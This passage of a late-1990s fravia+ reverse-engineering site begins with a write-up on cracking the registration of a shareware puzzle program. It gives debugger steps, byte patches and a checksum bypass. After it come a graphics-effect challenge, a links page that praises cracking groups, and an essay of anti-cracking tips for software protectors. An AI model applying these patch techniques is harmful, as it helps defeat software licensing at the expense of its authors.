true, and sure it would have been easier to look closer at this snippet, BUT
things always look easy once you've understand. That's why I tried another
direction. I just wanted to follow this idea to proof that with just a little
weakness the prog could be cracked. Look at the process that leads to the
messagebox. We notice that the adress of the string is calculated, with some
kind of "index". here it is 22E that through 439CA8 leads to the correct adress
in memory. In return of this call, eax holds the adress of the string that'll
be pushed for messagebox. for 22E the adress calculated is: 4A11F3. Then just
look around this area with sice: it's simply the whole array of every
interesting string used by bbrk, in addition they're fully decrypted. First
error from the author, he should have dispatched them, or better, decrypted
only if necessary. Sniffin' around only TWO strings appealed to me:
"Thank you!" "Registration code detected"
Lets choose the first. Its adress is 4A1301. My aim is to search the index
that'll give this adress through the call 439CA8. A good old bruteforce attack:
assemble this little routine "live" with sice:
xor eax,eax
adr: inc eax
push eax
add esp,-4
mov word ptr[esp],ax
call 439CA8
cmp eax,4A1301
pop eax
jnz adr
ok: ; just bpx here!
It'll break instantly with 0231 in eax (unique solution). So back to the dead
listing. Let's search for the ", 0231" pattern in it: Only one match at 45CA36,
a very stimulating result! The corresponding routine obviously starts in 45C9AD.
Very disapointing that wdasm doesn't reference it though. Must be indirectly
called (call [ebx+nn] or similar). It is neither hardcoded (with a push) so it's
in a table and this will charge us with some extra work. With Sice again and
bbrk loaded, let's search the above table with s 30:0 l ffffffff AD C9 45 00.
Once again just one hit: 4852D4. Then same process again, search ", 004852D4"
with the editor. Two hits this time:
this is the first one:
* Referenced by a CALL at Address:
|:00456E04 -----> ****** THIS IS IMPORTANT ******
|
:0045C755 55 push ebp
:0045C756 8BEC mov ebp, esp
:0045C758 83C488 add esp, FFFFFF88
:0045C75B 53 push ebx
:0045C75C 56 push esi
:0045C75D 57 push edi
:0045C75E 8B5D08 mov ebx, dword ptr [ebp+08]
:0045C761 6A00 push 00000000
:0045C763 53 push ebx
:0045C764 E8DC2BFBFF call 0040F345
:0045C769 C703D4524800 mov dword ptr [ebx], 004852D4 --> HERE !
etc.....
No matter what the second hit could be, Have you seen that it's referenced by a
call in 456E04 ? This is deep into the 456AF5 "password checking" routine. So
now it's time to have a look at it, and it'll be easier as we are SURE that to
register, the processor must reach 456E04.
Let's go then. At first sight all the: jmp 00457055 are EVIL, as they get (too
Looking closer near this interesting call, we see that in fact there are two:
So we just want eax to be non zero when returning 46AA6C. We'll change then:
:0046AA7D 83E201 and edx, 00000001
to:
6A 01 push 01
5A pop edx
At first with a "live" patch, while bpx-ing on 46AA6C. A nice box pops up with
our "Thank you!" string in it (no field should be empty though) and it seems
regged... Try a puzzle, the "demo" background has disapeared, no more reminder
box anymore. Ok, now we try to hard patch, and we're stuck with a CRC check :
"content seems to be altered...." This shouldn't be too hard, with the
messagebox you'll easily find the dedicated
routine:
:00442CC2 E870DBFFFF call 00440837 ---> checksum routine
:00442CC7 3D22334455 cmp eax, 55443322 ---> good boy value
:00442CCC 7472 je 00442D40 ----> exe not altered
;messagebox("sucker!")
Having a look at 440837, we quickly find that the good boy test is here: (yes we
could have set the je to jmp in 442CCC, but who knows, may be it's called
elsewhere, even if wdasm doesn't reference it)
When you try to register, the program will write an entry in the bbrk.ini file,
where sections are defined according to the pack field. You can see then that
the guy is always checking if you're a nice buyer or not. Just bpx 46AA6C...
The release is now 2.3 (09/98), and the protection in this one is less simple.
He doesn't check a simple flag anymore. This decided me to look deeper at the
encryption scheme. But by now this is almost the deadline, only 2 days left, i
couldn't manage to break it totally. Please have a look at braincrypt.txt for a
little discussion of the encryption system.
------------------
3) Finally let's enable the possibility to play every puzzle, even those created
with an "unregged" computer. (when creating a puzzle, a header holding your
"registration info" will be included in the file, program has just to check it
when loading). With a little research we find the"loading" call:
:00445CA4 E8B9E1FFFF call 00443E62
the routine begins at 445ABC. tracing through it with sice, comparing between a
good and a bad puzzle, you'll see that the evil jump is:
The patcher has been designed to be tested on bbrk.(nb: whenever patched you
must go through the CTRL F8 process and enter bogus (no empty fields).
#------------------------------------------------------------------------------#
I think huge asm dumps are just boring, so i'll try to sumarize what i've
understand from the encryption:
The important calls are 459AC1 and 459C3A. They finally set the flag that will
be compared with 489990. If it's ok the value is 15A4. if not it'll be its
opposite: FFFFEA5C.
Seems that you've got two "chances" to trigger the ok box. The algos differ in
that in each case the working area width vary. It can be 9 or D, and the
"congruence" can be 1 or 3. For the moment i've just looked at the first case.
A) First call:
crashThe call 459AC1 checks the key. Here's how: the characters (uppercased)
must be alphanumeric, values 1 and 0 are excluded, 1 is set to L (have you
noticed that everything es when you put "1" in the key field ?). A rather
"cryptic" routine (46ABE9) does the following:
1- give the position of each char in the string
"ABCDEFHIKLMNOPQRSTUVWXYZ23456789". Only the 5 less significant bits of this
position will be used. The program constructs a new key with these five bits by
putting them aside. If the previous was L bytes long, the new one will be
int(L*5/8)+1 bytes. I'll give an example: supposing your key is "23456",
2-->1A (the position in the string) --> 11010
3-->1B --> 11011
4-->1C --> 11100
5-->1D --> 11101
6-->1E --> 11110
2- Juxtaposing all this stuff beginning from the right gives the new pattern:
1 1110 1110 1111 0011 0111 1010
1 E E F 3 7 A
In memory there will be: 7A F3 EE 01 + some constant bytes. the 9 bytes
beginning with the new key are xored alltogether (459B50), and the result must give
0 (:459B76 call 401268 is the comparing routine). That triggers the first "nice
buyer flag". This appears quite easy to bruteforce; i hadn't seen the rest....
B) Second call:
The routine in 459C3A first uses the pack, name, id fields to construct some kind
of 6 bytes long checksum: all bytes at the same position in each string are
xored together and the result is put in this 6 bytes area beginning at adr.(the
position from adr is evaluated modulo 6).Example for the following values : (adr
is initialized to 00 00 00 00 00 00)
pack: 212
name: abc def
id : 12345678
Finally you've got this 6 bytes large area which will be matched against
another, triggering the second ok flag. And that's where i'm stuck, because the
second one is not always the same even if you don't touch anything in the 4
fields. I came to the conclusion that one of the two calls: 46A4E0 or 46A77F
obviously affects this area (its adress is pushed but not used) if some
condition is met. Actually these 2 calls are doing something on the transformed
key, but these routines are such a mess (recursivity involved...)
Unfortunately that's all for now :-(
#------------------------------------------------------------------------------#
# - Challenge #4 - #
# by JaZZ #
#------------------------------------------------------------------------------#
All being well considered, the ultimate one may have been the tougher...
Reproducing as close as possible the damned graphical effect is indeed a real
challenge. I chose to code the program in C for conveniency. But before coding,
a deep analysis of the process is needed. Setting a break on Ellipse or Bitblt
after a puzzle has been achieved will get you in the heart of the routine, which
starts at 42EAFB. The effect consists of 16 successives images, each of which is
displayed by a Bitblt function at adress 429D5A. This adress is therefore a
priveleged location to study the sparkling. A random location is chosen on the
puzzle. Then there are two phases:
- ascending (images 1 to 8) where the geometric pattern grows.
- descending (im. 9 to 16) where it disappears (the 16th image beeing the
original image of the screen), using the same images in reverse order. In
addition there's a random amount of small sparks near the main figure. They last
6 images max, and can only be a pixel or a small cross. (only 2 colors for them)
My method.
----------
I use only 2 bitmaps. With the first i save the original screen. In the second,
the working one, i draw directly.
1) copy original image in it (SRCCPY)
2) draw pattern according to the drawing process.(SRCCPY)
For the little sparks, the task is a little more comlicated, for they have a
more random behavior:
-random position "near" the ellipse.
-random date of appearance.
-random amount of these objects.
To formalize this, i defined a structure for this object:
-location
-step of appearance
-age of the object, to control its appearance: pixel or cross.
At first, i decide how many sparks there will be. For every of them,i initialize
the above structure with appropriate data. Especially, to find a good location i
use a special random generator which exclude certain intervals, as the sparks
must be "close" to the ellipse, ie. the center area and the edges shouldn't be
used.
Modifying sparkle.ini
---------------------
Feel free to modify this initialisation file, which defines the behavior of the
program. Here are the entries:
the "waste" param is quite sensible. It can affect dramatically the realism of
the effect. This value gave a good result on my pc, for another machine i dont
know...
#------------------------------------------------------------------------------#
Links, ah links!
My links page starts -fitting
enough- with a search engines
form, because links are a funny
thing: they keep moving around
and changing, they must be
continuously fixed and require a
lot of updating. The Web moves
like quicksand, good sites,
appear and disappear among
waves of crap. Anyway, if you
learn the relevant search
techniques you will not need
(Many 'ephemerical' links are provided on the two "fravia's" message boards: GENERAL and TOT,
moderated by Master Svd, iefaf, Mammon_ and myself... both well worth a visit)
Greythorne has been censored a lot on the web. +Greythorne is an Unix guru, a System administrator, a
wizard of knowledge and my web_brother since 1996.
Don't let the "poor" graphic design of his sites fool you! +gthorne is in reality a famous web-designer!
This is one of the BEST KNOWLEDGE SITES of the whole web. Visiting +gthorne's pages you'll find
EVEN MORE than on my own ones... he is one of the few good crackers which give away his (very deep)
knowledge without even thinking about compensation
Frans Faase's decompilation page. It is now updated and maintained by Cristina Cifuentes, one of the
authorities of the decompilation 'establishment'. Very interesting site in order to gain an historical
perspective about programming languages decompilation.
KNOWLEDGE SITES of the whole web. A MUST visit for everyone seriously interested in
reverse engineering. +Mammon_'s tales to his Grandson are particularly interesting, but the whole part
dedicated to the (monstruous) windows' register is worth a visit too. Very good site: I'm impressed. I
sincerely believe +Mammon_ to be one of the most resourceful and gifted reversers around. His pages
contain TRUE STRONG KNOWLEDGE!
+Aesculapius +Aesculapius is an +HCU TEACHER, and a really gifted reversing +wizard. He is a real
great +cracker, capable to teach and to work on difficult projects. He is moreover the author of the 'new
generation' of assembly based protections (see protecti.htm)
He helds at the moment the +HCU advanced courses and has published the new +HCU STRAINER (for
1999): try your hand at the beastly Trujillo protection! (The various elements of this protection support
eachother :-) +Aesculapius has prepared this great project!
On this site you'll find an extremely interesting collection of tools (among many other interesting things:
this is a very GOOD site)... least but not last: visit Aesculapius' pages and you will never need to search
again for icecreams (not that anyone needs to search long for them... the web is saturated with "our"
icecreams :-)
LordCaligo A worthy list of cracking tutorials and one of the best sites around...
caligo(at)lords(point)com
even I did not know about some of these tutorials... This is one of the BEST
KNOWLEDGE SITES of the whole web. It's a real pity that Caligo wants to give it up...
Besides LordCaligo's tools are REALLY interesting... you'll find here even some OFFICIAL +HCU TOOLS
(see my tools page). Hey, does'nt "Caligo" mean "nebel" in some old-forgotten dialect?
All good reasons to study old "obsolete" DOS virus code... didn't you read +ORC's tutorial? Knowledge of
software's history is in itself a marvellous Weapon! You will learn (and for free) from some old forgotten
virii MORE tricks than from all "NEW" so called 'undocumented' books together!
You want a really good virus information site? You better know your spanish, though:
http://members.xoom.com/pata666/pata.htm, the patasitez (spanish speaking virus wizards)
Softice... you should buy it at NuMega, of course... for a limited amount of days (don't remember if 30, 14
or 622 :-) you may experiment and play with this powerful debugger using some of the demo copies that
you should be able to find on the Web following these three links:
Look what we have here... a site completely dedicated to the best debugger of this planet...
(Of course you may always find what you need if you use the correct ftp search pattern :-)
(Of course you may always find what you need if you use the correct Altavista query)
Torn@do The cracker's notes, by Torn@do are a very useful and well managed source of reverse
engineering tips (wrote CrackZ, and I agree :-)
Tricky Mickeys A good swedish programmer/reality cracker: "I think that the best sites are those that
provide information and has a very fast loading time". He's (or was :-) music oriented.
Fyodor Fyodor! This is a link to follow, especially if you are a bit into hacking as well. Fyodor's page is a
TREASURE for knowledge seekers!
Chaos Computer Club you don't know what's the ccc? Be ashamed! (I held a workshop at their Camp
"Software reverse engineering: Beyond simple protection cracking", in August 1999, nice people)
Ghiribizzo: famous for his tutorials in pdf format. Ghiribizzo is very interested about the legal aspects of
our activity.
Read Icedragon's tutorial on Softice and then visit this good site at http://failure.ml.org/~mib
USEFUL FOR BEGINNERS
Phrozen crew site 1; Phrozen crew site 2; Phrozen crew site 3; these guys rule, a must for ALL
cracking/keygen/reversing enthusiasts master_davinci(at)yahoo(point)com
This is the most known and most 'prolific' cracking group of the world... good wizard Saltine is/was a crew
member (among many other good crackers). The PC-guys have reversed some INCREDIBLE protection
schemes, yet they seem to prefer to keep cracks 'among crackers' somehow and have only recently begun to
deliver (very good) essays to the scene :-)
http://www.ice.org/~davinci/: Master DaVinci's own page. The greatest artist of the cracking world (you
may have a look at his creation for me on entran.htm :-)
Stone's page
Stone's page
(On 13 february 1998 the mirror of this page was CENSORED together with my own and
+gthorne's mirrors). A spectacular site with a lot of own-made (stonemade) programs and
probes. This is one of the BEST KNOWLEDGE SITES of the whole web. A MUST visit for anyone
interested in our trade.
See the packers & unpackers list there...I like Stone's site quite a lot :-)
& +Indian Trail's sites... a site up in the Sierra, very stimulating, especially if you are into games'
structure reversing and stripping or into magnetic strip decoding (a sparkling field :-)
Corleone's cracking site:a recent arrival, very well made and with some very interesting tutorials.
Unfortunately some tutorials are still in serbo-croatian :-)
Well worth a visit!
sudden discharge: a great place... you won't regret visiting this site for sure (The numero uno site in
runtime encrypition according to Master Stone :-)
Caprino's page with REC and his very interesting experiments in decompiling.
satanic sysads true masters, yet they don't seem to understand much about beers else they would drink
Leffe Blonde (or even heaven's Ename) and not the crap beers they list :-) This is a MUST VISIT site for all
linux lovers...
Ok, so you dunnow where to start... well, in that case: http://start.at/these.urls.first of course :-)
+HCU Maillist
HCU main maillist for those who want to discuss HCU related topics with other +crackers.
Many of the Webmasters above (and most great wizards) ARE on the main (public) list, which is directed
by +Zer0 and kept at the moment by +Malattia and +greythorne in absentia +Zeri
Well, if you have a look at the geek-girl bugtraq repository... you will find some QUITE
interesting hacking ideas that should work at least for the next twenty years... :-)
This is one of the BEST KNOWLEDGE SITES of the whole web.
Stegano information
F. Hansmann's steganography page (Author of Steganos)
Crypto information
Lost your marbles? Lost your keys? For "Key Recovery Contests" and "Key Recovery Utilities" you would
be well advised to visit Joe Peschel's Computer Security, Encryption, and Cryptanalysis (good :-) page.
Time
J R Stockton's Critical and Significant Dates
Time handling for programmers and reversers... (and all the problem we get because the Tropical Year is
currently about 365.242190 days, yet the Gregorian Year averages exactly 365.2425 days).
And if you still don't understand why this is important for us... at the end of each year, Windows 98 gains
two days or loses one. Micro$oft says that this only occurs if Windows 98 is started within a particular but
defined second of the last minute of the year and that a fix is being developed. But Risks Digest says that it
can occur any day, if one boots during a critical five seconds slot near midnight.
Books
Computing McGraw-Hill
Prentice Hall
Addison Wesley
Sybex
__General information__
Le Monde diplomatique *very* good, one of the best sources of information of this
planet, a little 'pauperistic' and 'whiny', but they see through reality better than many
others. This is one of the BEST KNOWLEDGE SITES of the whole web, without any
doubt... hope you can read some french... anyway there is also a on-line version in english!
This magazine will give you monthly enough material to easily crack any newspaper or TV-info around
you. Best buy.
Neue Zrcher Zeitung among the best information sources in the whole world... of course they need a
'clear' world image in order to sell their chocolate and their watches... and could not care less about
"ready-made" truths!
The Economist for those of you who can read only English (Karl Marx was an avid reader of the
Economist :-) there is a lot of disinformation as well, but it is -at least- VERY cleverly presented
Well, I have started my own 'reversing The Economist' section, see if you like it!
Reversing Information
El Pais good to average "european style" information, especially valuable for people interested in south
American affairs
(both the above links represent only a small part of Chomsky's cutting interpretations... you'll find the whole
Chomsky-thought here read these pages as soon as you can, you'll not regret it! I'm not Chomskian myself
(far from it), but his views and mine do actually converge on so many points that I'm glad he exists and
teaches :-)
__Satyrical information__
a) for crackers
Carpathia's lamerlogs I personally never IRC, but reading this I understand I'm loosing some good laugh.
b) for anyone
The Onion quite light, but not bad at all, could be dubbed "the reversers' paper", since it is actually very
often a good source of reversing thoughts.
McSWEENEY'S STORIES by David Eggers (parodies Esquire)
The Baffler, each issue seeks archly to debunk the hip-seeking excesses of the corporate culture business
(it's not completely on-line yet, though)
Webseek A Content-Based Image and Video Search and Catalog Tool for the Web
__Books__
the on-line books page here you'll find enough to read (for free) for the rest of your life, just manage to
find a printer with a lot of paper in some remore corner of your office or download the files you are
interested in and let one of the many automated readers (programs that you can get for free on the web) read
these books to you! Bye bye WH Smith!
__Prosody__
Arnaut & Karkur's ultimate on-line prosody resource
(in case you really dunnow what a iambic pentameter is :-)
Watch it... my private links page is the only page of mine that HAS images (quite a lot) and will therefore be
much slower to load. It's a private links page, seldom updated, and some of the links there have NOTHING
to do with reverse engineering, and although you may peruse it at will, you are not allowed to judge its
contents :-)
You are deep inside fravia's pages of reverse engineering, choose your way out!
homepage
+ORC anonimity academy counter measures bots' wars
tools our tools how to use our tools
javascript wars reality cracking academy database programmer's corner how to protect better
antismut CGI-scripts cocktails search_page how to search mail_fravia+
Is reverse engineering legal?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
Dear protectionists, you better understand immediately a great and simple truth: the real reason your
protections are so lame, is that you don't know how to crack; worse: many among you don't even know how
to program in assembly. This makes it very easy to defeat your 'high language' protections for people that
don't have your source code, yet know perfectly what any single hexadecimal byte means inside your code.
You'll learn on my site enough to protect MUCH better your software (was about time) yet be aware that
there is, for you too, no result without study and without knowledge. It takes a lot of time and of study to be
a good cracker and it takes a lot of time and of study to be a good protector!
Yet the reward is inestimable! Learning how to reverse engineer any software application will give you,
protection schemes apart, which are not so important after all, a POWER and a MIGHT over your
overbloated compilers that you have before never ever dreamed of. Believe it or not, from this kind of study
your applications will gain even more than your protections
Q.: Listen fravia+, I'm reading your messy site almost exclusively in order to PROTECT BETTER my
software, and your whole cracking philosophy gives me the creeps... can't you just tell me what the hell I
should do to protect better my applications AGAINST you bloody crackers?
A.: Yes, I can, here you are with:
This said, Zen-crackers will easily defeat even the most clever protection scheme, yet there is no reason of
concern... you see, we examine protections of two sorts: protections that are UNUSUAL and protections that
must be removed in order to fully enjoy a VERY USEFUL program. Sadly very few programs are really
useful and very few protections are indeed intelligent. Therefore you should not worry: your program is
probably NOT useful at all, and your protection is probably NOT clever... nobody will ever attempt to crack
it, you may sleep relaxed.
You want more anti-crackers tricks? Read (study) the essay by tibit: Advanced protection schemes! (13
december 1997)
You want even more anti-crackers tricks? Read (study) the advices by dph-man: Some thoughts on key
checking methods that are hard to reverse engineer (20 January 1997)
Other projects and useful info
And look! Behold! There is much more for all you little protectionists on this site! Enjoy some new sections
and some special essays, and don't forget to check (if you have passed the strainer, that is :-) the three
"special" +HCU seminars about Object-Oriented cracking:
9801 = DELPHI CRACKING,
9802 = MAIN *.DLL's "PASSWORD VERIFY" & "TIMECHECK" FUNCTIONS,
9803 = "INSTALLATION WIZARDS" CRACKING
You should not forget, moreover, to check The Bogus commercial protection schemes serie (saving the
gullible shareware programmers from commercial crooks) that has recently started and has an obvious
interest for those among you that pay money in order to buy ready-made (and completely ridiculous)
protection schemes! Hey, don't you see how the "evil" crackers help the poor shareware programmers?
We have a very nice and full-fledged "Most stupid protection" award section, wherein, like in the bogus
serie, many apparently strong protection schemes (some of them commercial, i.e. the poor programmers have
to pay *money* for them) are revealed as well for what they are: pretty stupid and pretty easy to circumvene.
Hey, don't you see how the "evil" crackers help the poor shareware programmers?
As it seems, all protection scheme that you are using to day are much TOO EASY, and we do not like this...
no challenge, no knowledge reward... since you do not seem able to program them as it should be, we'll do it
for you (that's pretty nice of us, isn't it?
We will therefore further develop a special project section (that actually is a little neglected): our
protections which has already started. +Rcg and +Sync (sync1@nospam.iname.com eliminate "nospam."
before pasting :-) take care of it. Here's what we'll do there: We'll publish OUR OWN (pretty tough)
protection schemes (coded in assembler or C, of course :-) and anyone who cares will (try to) crack them (for
each scheme we'll give two weeks time) we'll then publish the "solution" *AND* the source code!
You learn, we learn... you'll protect better (was about time) and we'll crack better... Hey! That's human
evolution at its best: from ape to cracker!
You'll further find new essays with a special "important lesson for shareware programmers" banner.
Actually all essays on my site represent (of course) lessons for shareware programmers, yet these specific
essays will be particularly important for you, since they will not only "show" you, but "demonstrate" you
once more the weakness of some common and widespread protection schemes and "tricks" (at times once
more "commercial protections", i.e. you have to *pay* for that crap).
We are trying to help you because we are well aware of the fact that shareware programmers do not have the
money, nor the capacities, available for huge "industries" of "overbloated programmers" like Micro$oft...
that's the reason we'll try to offer you at least some crumbs from the might of Internet group working. We
would like to forge an "holy" alliance between crackers and shareware programmers against Micro$oft...
when the wolves howl, cats and dogs join forces.
A final message of hope
No, I lied.
Actually I don't believe that you'll ever 'join forces' with us, I believe strongly that many of you will be so
fascinated from our reverse engineering world that will 'change side' and start producing TOOLS that will
help us in our half-lost yet glorious struggle against Micro$oft's encompassing 'embrace' (and we need you
"real" windoze programmers -after having learned cracking and assembly- in order to get the "nice looking"
smart and mighty tools that we want... in fact most crackers are unfortunately the 'other side' of your same
coin, and would not even touch visual basic 5 with a badger pole).
The usual problem: WE could not care less about the frilly-dizzy rattamazz ASPECT of the applications we
use (I'm still using - february 1998- +ORC's psedit as my preferred powerful hexeditor, and it's a DOS
program :-) but the zombies and the slaves out there have been so conditioned that we now need to produce
'alluring' tools just to catch their attention and having they use POWERFUL programs... in order to bring (at
least some of) them on the clever side... in due time they will learn, exactly as you did... So we need you at
least as much as you need us. Life on the web is funny, isn't it?
Beware: the help we offer may indeed be very valuable for you, as your assiduous presence on my site
testify, but that very help is only a decoy!
Dear shareware programmers: the truth is that we need many more 'real' programmers on our side, and
therefore we hope to persuade and proselytise you (...yet not to brainwash you, therefore I better finish right
here :-)
Our Protections Our own tools Students' essays Packers & Unp Dongles
homepage links +ORC most recent essays +HCU database
anonymity counter measures CGI antismut cocktails
search_forms javascript wars AntiMicro$oft mail_fravia
Is reverse engineering legal?
[intro]
Advices
[Mark's] ~
[Tidbit's]
[Stone's] ~
[More tips]
[To shrink?]
[essays]
[tricks] ~
[links]
I would like to start, with this section of my site, a good "special" reversing laboratory for software protection. As
my readers know, we have already tried this some time ago with the Our Protections section. Yet that section didn't
seem to florish, so I'm now re-organizing various 'threads' into a coeherent "software protection" project. I hope
that this will help reversers and protectors alike... no cracker should underestimate the difficulty (and the beauty)
of writing a good protection, exactly as no protector should underestimate the difficulty (and the beauty) of
reversing a difficult snippet of software. Cracking and protecting are two very important sciences in their own
right, but I have noticed that the development of good protections suffers a 'psychological' penalty. "There's no
point in protecting or overprotecting: a determined cracker can crack any protection!"; "nothing can guarantee
absolute security"; "Any protection scheme can be defeated"; "protection measures can be easily worked around",
and so on and so on... stalk the protectors on usenet and you'll see this kind of typical whining.
Well, any protection scheme can be cracked... may be. Yet let's devise schemes that will make things a lot
HARDER for the typical cracker to mess with... and who better than some good +crackers can teach protectors
how to protect?
It's almost winter, snow is in the air! C'mon: let's push another snowball down the Webhill!
2. Create important menus and dialog boxes dynamically, whether in something like turbo-vision, xforms or
m$windoze. Use your own format of rcdata like borland did in delphi if you don't want to write too much
code.
3. If your program doesn't save data in "crapware" edition, don't include a "grayed" menu item. No saving
means no saving. That's it.
4. The only way to tell user that he is unregistered should be in the "about" dialog. The latter should also be
created dynamically.
5. Avoid using any kind of string resources like "this crap is unregistered, blah blah"
6. Link statically unless your program is a complex one (at least of m$word 2.0 complexity)
7. Don't loose time on writing anything that will kill disassemblers or debuggers. Take my word on it - doing
it is worthless, people who made them or HCU'ers :-) will soon find the way around, so shift your interest to
more important stuff.
8. Use your language of choice fully. Even if it's visual basic, learn it thoroughly first. Using some advanced
constructs it is possible to make debugging a nightmare.
9. Use run time library fully when writing the beta versions, in final release rewrite some functions at least
to make crackers life harder.
9a) Example: many ocx'es for vbasic take PLENTY of space, and they are really easy to hook to. Use only
ones which you need, usually much of ocx crap can be rewritten to use plain windows api.
10. Take SOME time to THINK about protecting your software. Is it worth the protection? Wouldn't it be
better to IMPROVE YOUR SOFTWARE, rather than improving protections?
11. Try to embed at least part of the protection inside the data manipulation. Data structures can take ages to
understand basing only on disassembly listing, they also are more error-prone for cracker. Crackers usually
take notes on loose sheets of paper, and not everyone reads his own handwriting 100% accurately.
12. A protection that mangles data is a good one usually.
12a) Example: Got a charting program. The crapware shouldn't print. Disabling printing and later on
enabling it basing on some registration# is the most often committed suicide. Let your thingo print. When
creating data structures for printing, mangle them in some way. Unmangle them just before printing, using
reg# or something other for that purpose. Even more, make this mangling subtle. Assume that you've got a
pie chart to print. Don't alter anything, but add some not too big random numbers to values of data series -
this is mangling then. The chart will look "not that bad", but will be otherwise unuseable (if the changes are
random and on the order of 20%, for example). Finding such protection, if its connection with reg# is not
self-evident can take much time. One has to delve inside your data structures and find that dreaded mangling
and unmangling code. Not too easy, especially if you program high level, not in asm.
13. When mangling data, use some tricks so that it is not self-evident where that reg# comes from into
unmangling code.
13a) Example: I did it for a dos platform once. The reg# (in a "go/no-go" protection) was specified as a
command line argument. The command line parser was clean and it was the only place where command line
was ever referenced. In some other place the "irrevelant" code was using a "bad" version of borland pascal
move routine from rtl (move copies a range of data from here to there). The routine in rtl was altered to copy
a few bytes more and to wrap around the segment boundary. The "irrevelant" code called copy with
parameters set so that it would copy some useless crap together with command line somewhere else, and that
"somewhere" was left unused for some time. It was evaluated in the wholly other part of program. Athough
setting bpx on memory range would find that, it was not THAT evident that one should place the "enable#"
on command line (it was nowhere mentioned since I needed to protect from my coworkers only).
14. Be economically inclined. Calculate whether you need to write your "to be protected" program at all.
Isn't there (albeit big) a commercial, widely available package that does the same thing? If you need that tiny
program for yourself only, in 99% of cases it's cheaper to use existing package that supports scritping (to
tailor it to your needs). If you want to sell it, check your market. The problem of protecting software
vanishes if no one will use your software. Don't overestimate your work's "importance to the world". Search
the net. There's nothing like you want to do? Search more, then. Start work only when you're sure there's
need.
15. Always explore your language of choice on the level proposed (or, more often these times, pushed) by
the language developers. If you're real programmer that doesn't want his "hello world" app to be 2megs+
big, shift down to the api level asap - ie. after exploring all the nice "visualties" the commercial types might
be pushing you to use.
15a) Example: This pertains mostly to things like borland c++, delphi and m$ vc++ - write your app using
the existing user interface crap (foundation classes etc). When the innards are debugged (hah, they never are,
but if you at least don't find any bugs in the first 20 minutes of post-build testing), rewrite your user interface
to use windows api directly. Do it cleverly, think first, think a lot, and you'll usually get an app that is at
most 1/4 of the original size, and that works much faster. Do you believe that corel draw 3 was written using
nearly pure api? Such a HUGE app? - you say it's impossible. No, it quite is, ever more in the 32bit world
when you don't need to spend so much time moving data around the 16bit segment boundary (corel 3.0 was
for windows 3.x - it was 16 bit).
16. What does p.15 have to do with protections, you think. Oh well, it does have much. Since your code
doesn't use the "prepackaged" stuff, it's more personal, more custom. Since each programmer's style of
programming is different, it take more time for a potential cracker to find out what's going inside your app.
Alas, all this is useless if cracker doesn't have to know the innards to deprotect. So always protect in a way
that is tied in MANY PLACES to the innards (data structures etc).
17. A monolithic app that doesn't reference to much more than kernel or device drivers is usually harder to
crack. There are less dependencies to get from watching the .exe and .dll's with quickview for example. Try
to export only the callbacks needed by windoze for example. Check what goes to the outside world. Try to
include no or little details of registration procedure. Your code should give as little information in "clear
text" to the cracker as possible.
18. For god's sake, don't give away the working code! Try to provide users with:
- The crapware version, that DOESN'T have the "missing features" compiled in. This thing should also have
no nag screens nor "enter reg# here" suff - it's obvious, since it's the CRAPWARE ONLY.
- The full version, that HAS the full functionality compiled in but that also requires user to enter the reg#
once somewhere. This version should be only given away to those that have paid. At least there is no way to
get the thing to crack from your site, since you only expose the crapware for lamers. Alas, your "full"
version, maybe even cracked, will be to be found shortly on warez sites, but not everyone knows where to
search, so you at least can be proud that your app has been stolen by "the enlightened" :-)
19. As has been said many times: don't overuse the "registered", "unregistered", "registration code", etc.
words - both in clear text and in encrypted form. If possible, invent some clever algorith to generate these on
the fly basing on some variables, definitely don't use the "bool Is_Registered" flag anywhere!
19a) Notes: It would be quite nice if the program will be having some sample (bad?) reg# stored inside in
some place(s). The user, after entering the registration#, should have no IMMEDIATE indication of any
kind that the software is registered now. THis indication shouldn't also be deferred using timer, like in unix
login. It's childish easy to find the "sleep x" code. Each function, like save, print, etc. that depends on
registration, should check the reg# by itself, and it should do it in such way that user nor cracker doesn't see
that something is going wrong or good. As said before: no disabled stuff. If saving is disabled, either don't
provide it at all, or make the unregistered save work just like real one, just that data isn't written to disk or is
written badly. Consider such scheme: user isn't presented with any "this funct disabled" box, the save works
ok (save dialog opens, save completed "%" bar scrolls as usually), but you may for example lseek back to
the beginning of file after writing each record if the user isn't reg#. This approach is hard to crack since such
attempt requires to delve DEEP into the program's internals and to find what is going bad and where. People
also think sometimes that their version is simply damaged and throw their program away, whereas that
dreaded save might work ok when registered.
19b) Notes: CLEARLY INDICATE facts mentioned in 19a), like that: <<"Reminder: This program, when
not registered, won't save nor print any data. These two functions will operate ONLY when the CORRECT
registration number is entered in the registration dialog box. Warning: we restate that save and print options
WON'T WORK until the CORRECT registration number is specified. All other features are unaffected in
the unregistered version.
Note: You cannot verify that correct registration number has been entered. Program doesn't display any
warinings that you've entered invalid number. You know that it is ok when save and printing works, else
please retype the registration number and try again.">> This will indicate:
a) to the user that he definitely WILL enable the program when the CORRECT number has been entered,
b) to the hacker that it is going to be a tough job since the registration # checker sits somewhere else.
19c) Implementation notes: Move your reg# to the checker routine in an unsuspicious way. If you can, don't
use the "existing" textbox and gettexta, implement the reg# entering routine by hand, it would be quite wise
even to refrain from using the existing text rendering procedures and render the number on-screen as it is
entered using your own renderer. You can edit your own font resource or use some preexisting font, then
just encode it in some way so that it will be unreadable by resource workshops, even better include it in the
source as static constants. Although it is still easy to find where the "drawbitmap" equivalent was used to
paint the reg#, it is definitely harder to understand the whole underlying routine, especially noticing where
does that reg# go. Using a multi-layered approach here is the most feasible one:
- dynamically create accelerator keys in your 'register me' dialog box, these accells should be for keys used
in reg# entry (0-9,a-z for example)
- each accell should call different routine, if feasible (makes breakpointing tougher)
- each routine should store the flag that given char was entered somewhere else, it would be nice if each
keypress would modify some global variable, in some way that is decodeable for you, but not to the cracker
(at first glance)
- then there should be some kind of 'monitoring' routine that acts accordingly, paining the characters on the
dialog box and taking actions upon backspace and enter, for example
- yet another routine should collect all entered characters and create a reg# and store it in some untrivial
place. using a .vxd here to manipulate the virtual memory to make some 'backup' copies in a
not-easily-debuggeable way is a nice idea. a .vxd can work like a tiny embedded debugger, bpxing on the
place where that reg# goes. it can then copy it to some quite other place, all that happening in the
background and not to be noticed easily. the cracker will of course (at the first try, at least) try to check
where this location is accessed. since it is accessed nowhere, he will scream: how the hell does this app
know that the reg# has been entered, if it even does not access it? oh well, just a tiny .vxd or even a
background thread has copied it somewhere else. they'll get at it later, but at first it can stir crackers minds,
though.
20. Notes on registration numbers:
- balance between security, feasiblity, programmability and end-user headaches
